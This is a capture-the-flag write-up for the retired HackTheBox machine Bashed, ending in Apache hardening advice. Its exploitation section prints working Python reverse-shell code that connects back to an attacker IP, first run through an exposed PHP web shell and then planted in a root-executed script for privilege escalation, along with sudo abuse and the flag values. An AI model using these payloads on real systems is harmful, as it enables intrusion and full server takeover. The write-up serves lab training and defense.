Bashed Writeup
Bashed is a retired HackTheBox machine, rated easy and rightfully. We’ll start by finding a hidden web shell to quickly gaining root level access due to misconfigured permissions to users.

Vulnerability Exploited: CWE-553: Command Shell in Externally Accessible Directory
System Vulnerable: 10.10.10.68
Vulnerability Explanation: A php webshell is exposed to external, and can be used by an attacker to execute commands on the web server.
Vulnerability Fix: Remove any Shells accessible under the web root folder and children directories. Therefore, disable the directory listing.
Privilege Escalation Vulnerability: Misconfiguring permissions can lead to disastrous consequences.
Vulnerability Fix: The system administrator should have conformed to the principle of least privilege and the concept of separation of privileges.
Severity: Critical
An initial nmap scan revealed a 80/tcp
port with an Apache httpd 2.4.18
as the following:
┌──(root💀kali)-[/root/CTF/htb/linux/bashed]
└─# cat nmap/initial
# Nmap 7.92 scan initiated Sun Oct 2 18:09:55 2022 as: nmap -sC -sV -v -oN nmap/initial 10.10.10.68
Nmap scan report for 10.10.10.68
Host is up (0.48s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Arrexel's Development Site
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct 2 18:10:20 2022 -- 1 IP address (1 host up) scanned in 25.79 seconds
80/tcp (HTTP)
Intial page located on http://10.10.10.68/ doesn't reveal anything interesting.

Fuzzing the website using feroxbuster
result many sensitive directories as the follow:
┌──(root💀kali)-[/root/CTF/htb/linux/bashed]
└─# feroxbuster -u http://10.10.10.68/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -n -x html -o feroxbuster/initial 1 ⨯
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.68/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💾 Output File │ feroxbuster/initial
💲 Extensions │ [html]
🏁 HTTP methods │ [GET]
🚫 Do Not Recurse │ true
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 161l 397w 7743c http://10.10.10.68/
301 GET 9l 28w 311c http://10.10.10.68/images => http://10.10.10.68/images/
301 GET 9l 28w 307c http://10.10.10.68/js => http://10.10.10.68/js/
301 GET 9l 28w 308c http://10.10.10.68/css => http://10.10.10.68/css/
403 GET 11l 32w 291c http://10.10.10.68/.html
301 GET 9l 28w 312c http://10.10.10.68/uploads => http://10.10.10.68/uploads/
301 GET 9l 28w 308c http://10.10.10.68/dev => http://10.10.10.68/dev/
200 GET 154l 547w 8193c http://10.10.10.68/about.html
301 GET 9l 28w 308c http://10.10.10.68/php => http://10.10.10.68/php/
200 GET 156l 456w 7805c http://10.10.10.68/contact.html
200 GET 161l 397w 7743c http://10.10.10.68/index.html
301 GET 9l 28w 310c http://10.10.10.68/fonts => http://10.10.10.68/fonts/
200 GET 195l 678w 10863c http://10.10.10.68/scroll.html
403 GET 11l 32w 299c http://10.10.10.68/server-status
200 GET 154l 394w 7477c http://10.10.10.68/single.html
A sender mail is exposed on the following path: http://10.10.10.68/php/

A php webshell is exposed on the following path: http://10.10.10.68/dev/

We can run any command using this webshell:

In this stage, launch a local nc
listener and runt the following payload on the remote machine (on the webshell).
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.7",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
A reverse shell is received with the user www-data
┌──(root💀kali)-[/root/CTF/htb/linux/bashed]
└─# nc -nvlp 9001 1 ⨯
listening on [any] 9001 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.68] 35502
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$
To make the bash more readable, using python we can spawn a shell as the following
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bashed:/home/arrexel$
Proof - User
www-data@bashed:/home/arrexel$ cat user.txt & hostname && whoami && ip a
cat user.txt & hostname && whoami && ip a
[1] 1114
02096e084bb8dd4c09c9904f34c3f9a6
bashed
www-data
[1]+ Done cat user.txt
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:e6:8a brd ff:ff:ff:ff:ff:ff
inet 10.10.10.68/32 brd 10.10.10.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:e68a/64 scope global mngtmpaddr dynamic
valid_lft 86397sec preferred_lft 14397sec
inet6 fe80::250:56ff:feb9:e68a/64 scope link
valid_lft forever preferred_lft forever
www-data@bashed:/home/arrexel$
Privilege escalation (1)
Run sudo -l
to list all the allowed command for the www-data
user.
www-data@bashed:/home/arrexel$ sudo -l
sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
The user www-data
can execute any command on bash using scriptmanager
user. To escalate for this use, all we need is to run the following command:
www-data@bashed:/home/arrexel$ sudo -u scriptmanager bash
sudo -u scriptmanager bash
scriptmanager@bashed:/home/arrexel$ whoami
whoami
scriptmanager
Privilege escalation (2)
On the root folder '\' , there is a non ordinaly exist folder called scripts
, which contains two files as the following:
scriptmanager@bashed:/scripts$ ls -la
ls -la
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 07:19 .
drwxr-xr-x 23 root root 4096 Jun 2 07:25 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Oct 2 10:43 test.txt
As a scriptmanager
user, we can modify the content of ŧest.py
file as the follow:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.7",9002))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Before modify the content of the test.py
launch a local nc
listener using the same parameter mentioned on the modified python file.
A reverse shell is received as the root
user.
┌──(root💀kali)-[/root/CTF/htb/linux/bashed]
└─# nc -nvlp 9002
listening on [any] 9002 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.68] 41742
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
To make the bash more readable, using python we can spawn a shell as the following
#python -c 'import pty;pty.spawn("/bin/bash")'
root@bashed:/scripts#
Proof - Root
root@bashed:~# cat root.txt && hostname && whoami && ip a
cat root.txt && hostname && whoami && ip a
805f7178216a84c0963bce2a2ed3b056
bashed
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:e6:8a brd ff:ff:ff:ff:ff:ff
inet 10.10.10.68/32 brd 10.10.10.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:e68a/64 scope global mngtmpaddr dynamic
valid_lft 86400sec preferred_lft 14400sec
inet6 fe80::250:56ff:feb9:e68a/64 scope link
valid_lft forever preferred_lft forever
root@bashed:~#
Hardening Tips
Apache Server Harding
Hide Apache Version and Operating System
On the /etc/apache2/conf-enabled/security.conf
modify or Add the two following lines:
ServerSignature Off
ServerTokens Prod
Then reload Apache:
sudo systemctl reload apache2
The nmap
result becomes:
┌──(root💀kali)-[/root/CTF/htb/linux/bashed]
└─# nmap -sC -sV -p80 10.10.10.68
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-02 19:14 CET
Nmap scan report for 10.10.10.68
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd
|_http-title: Arrexel's Development Site
|_http-server-header: Apache
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.72 seconds
Disable Directory Listing and FollowSymLinks
Edit the config file /etc/apache2/apache2.conf
by putting "-" before each tag directive in the line Options Indexes FollowSymLinks
to become Options -Indexes -FollowSymLinks
. As the follow:
<Directory /var/www/>
Options -Indexes -FollowSymLinks
AllowOverride None
Require all granted
</Directory>
This response from the server on the current machine becomes:
Forbidden
You don't have permission to access /dev/ on this server.
Secure Apache using mod_security and mod_evasive Modules
Mod_security Acts as a firewall for web servers and applications, providing protection against brute force attacks. Install it and then restart Apache.
$ sudo apt install libapache2-mod-security2 -y
$ sudo systemctl restart apache2
Mod_evasive Detects and provides protection against DDOS and HTTP brute force attacks. It detects attacks whenever: so many requests are directed to a page several times per second; temporarily blacklisted IP still tries to make a new request; child process attempts making more than 50 concurrent requests. Install and restart Apache.
$ sudo apt install libapache2-mod-evasive -y
$ sudo systemctl restart apache2
Limit Request Size
By default, the HTTP request in Apache is unlimited hence web server is susceptible to DoS attacks by keeping it open for a high number of request. For example, there is a site that allows users to upload files, then it’s important to set a limit for upload size. This can be done by setting the LimitRequestBody for that particular upload directory as follows:
<Directory "/var/www/html/wp_content/uploads">
LimitRequestBody 10485760
</Directory>
Disable TRACE HTTP Request
By default, Trace HTTP Request is enabled allowing for Cross Site Tracing. This enables a hacker to easily steal cookie information. Disabling Trace HTTP Request makes the mod_proxy and core server return “ 405 - Method Not Allowed
error message to clients. Trace request is disabled by adding the line TraceEnable off
in the config file /etc/apache2/apache2.conf
Save the file and reload the apache service.
$ sudo systemctl restart apache2
Conclusion
The enlisted 5 steps are the most basic security protection features to implement in your Apache web server.
Last updated